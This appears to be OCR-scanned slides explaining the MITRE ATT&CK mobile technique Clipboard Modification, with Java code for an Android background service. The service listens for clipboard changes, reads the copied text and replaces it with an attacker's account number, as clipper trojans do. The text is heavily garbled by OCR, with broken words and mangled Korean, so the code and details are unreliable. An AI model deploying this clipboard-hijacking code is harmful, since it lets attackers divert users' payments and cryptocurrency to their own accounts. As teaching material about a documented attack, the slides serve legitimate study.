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Home = Technigues » Mobide = Clipboard Modification
TECHNIQUES
* Clipboard Modificati
: Clipboard Modification
Mobile ~
Adversaries may abuse clipboard functicnality to infercept and replace information in the Android device
C g 1 1D: T151

Initial Access v clipboard.! 4% Malicious applications may monitor the clipboard activity through the DeT1510

Execution bt clipbosrdianager, snPrimaryClisChangedilistensr Interface on Android to determine when the clipboard Sub-technigues: No sub-techniques

Persistence w contents have changed. "™ Listening to clipboard activity, reading the clipboard contents, and modifying the Tactic Type: Post-Adversary Device Access

i i ici icati jesi icati ing i T Tactic: Impact

Privilege Escatation - clipboard contents requires no explicit application permissions and can be performec_l by applications running in i pac

the background, however, this behavior has changed with the release of Android 1014 7 Platforms: Android

Defense Evasion W )
Version: 1.0

Adversaries may use Clipboard Modification to replace text prior o being pasted, for example, replacing a

Credential Access b Created: 26 July 2019

copied Bitcoin wallet address with a wallet address that is under adversarnal contral
Discovery ~ Last Modified: 28 October 2019

Lateral Moverment o Clipboard Modification had been seen within the Android/Clipper.C trojan. This sample had been detected by
coll ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.!'| Version Permalink
LOlection M
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¢ Bitcoin Clipper Malware
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¢ Clipboard Manager
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Service ComponentO| A 7+
s getSystemService(Context.CLIPBOARD_SERVICE)
Clipboard manager AfE
*%* addPrimaryClipChangelListener
= g HlolH H3tE #X[St= 2| AHE AFE
% onPrimaryClipChangedListener @/ E{ I{| O| & 194
onPrimaryClipChanged : G| O| B HZAE [{OIC SEHE[O] AFE

public class ClipboardService extends Service implements ClipboardManager.OnPrimaryClipChangedListener {

public void onCreate() {
super.onCreate();

cpManager = (ClipboardManager)|getSystemService(Context.CLIPBOARD SERVICE)

L

cpManager.laddPrimaryClipChangedlListener( what: this);

—
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» coerceToText API
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*

pUverride
public void onPrimaryClipChanged() {
if (ClipboardManager != null && ClipboardManager.getPrimaryClip() != null) {
klipnata data = ClipboardManager.getPrimaryClip();
int datacnt = data.getItemCount();
for (int 1 = @; i < datacnt; i++) {
if (data.getItemAt(i).coerceToText( context: this) != null) {
clipinfo = " " + data.getItemAt(i).coerceToText( context: this);
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Clip Data 9:33 @
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public void onPrimaryClipChanged() {

if(clipcall _
(clip _){ - o
ClipData clip = ClipData.newPlainText( label: "T1414&T151@ Attack”, text "Attacker's Account Number™); [

ClipboardMmanager.setPrimaryClip(clip);

clipcall = talse; —=
;; (ClipboardMmanager != null && ClipboardManager.getPrimaryClip() != null) {

ClipData data = ClipboardManager.getPrimaryClip(); JE£1;1E;1Eg
int datacnt = data.getItemCount(); -
for (int 1 = @; i < datacnt; i++) {

if (data.getitemAt(i).coerceToText( context: this) != null) {

clipinfo = " " + data.getItemAt(1i).coerceToText( context: this); _ |

}

}
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Clipboard_Attack
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